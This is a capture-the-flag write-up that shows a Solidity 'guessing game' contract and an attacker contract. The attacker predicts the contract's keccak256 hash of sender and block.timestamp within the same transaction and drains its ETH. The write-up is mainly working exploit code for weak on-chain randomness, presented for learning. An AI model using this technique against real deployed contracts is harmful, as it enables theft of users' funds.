Guess_Timestamp
EvilStorage CTF Challenge
Challenge Description
This CTF is a smart contract challenge based on a "guessing game."
The contract owner deploys the EvilStorage contract with 1 ETH. Users can call the check() function only once to guess a secret number. If their guess is correct, they win the entire ETH balance.
But here's the twist — the number to guess is generated using:
uint256 hashed = uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp)));
Can you predict the hash and steal the ETH?
Challenge Code — EvilStorage.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract EvilStorage {
address public owner;
bool public completed;
mapping(address => bool) public tried;
constructor() payable {
require(msg.value == 1 ether, "Need 1 ETH to start");
owner = msg.sender;
}
function check(uint256 guess) external {
require(!completed, "Already completed");
require(!tried[msg.sender], "You only get one guess");
tried[msg.sender] = true;
uint256 hashed = uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp)));
if (guess == hashed) {
completed = true;
payable(msg.sender).transfer(address(this).balance);
}
}
function getBalance() public view returns (uint256) {
return address(this).balance;
}
}
🛠️ Attacker Code — EvilStorageAttack.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IEvilStorage {
function check(uint256 guess) external;
}
contract EvilStorageAttack {
constructor(address target) payable {
require(msg.value > 0, "Send ETH to forward");
// Predict the same hash using the attacker's address and block.timestamp
uint256 guess = uint256(keccak256(abi.encodePacked(address(this), block.timestamp)));
IEvilStorage(target).check(guess);
}
// Helper to view remaining ETH
function getBalance() public view returns (uint256) {
return address(this).balance;
}
// Receive ETH if sent
receive() external payable {}
}
Explanation
- The
EvilStoragecontract uses your wallet address and block timestamp to generate a secret hash. - You are allowed to guess the hash only once.
- If your guess is correct, you win all the ETH.
But this seems impossible because
block.timestampis unpredictable in a normal transaction.
The Trick
In the attacker contract:
- You predict the hash inside the constructor before calling
check(). - Since the constructor and the
check()call happen within the same transaction, theblock.timestampwill be the same in both places. - Therefore, the hash matches and you win the ETH!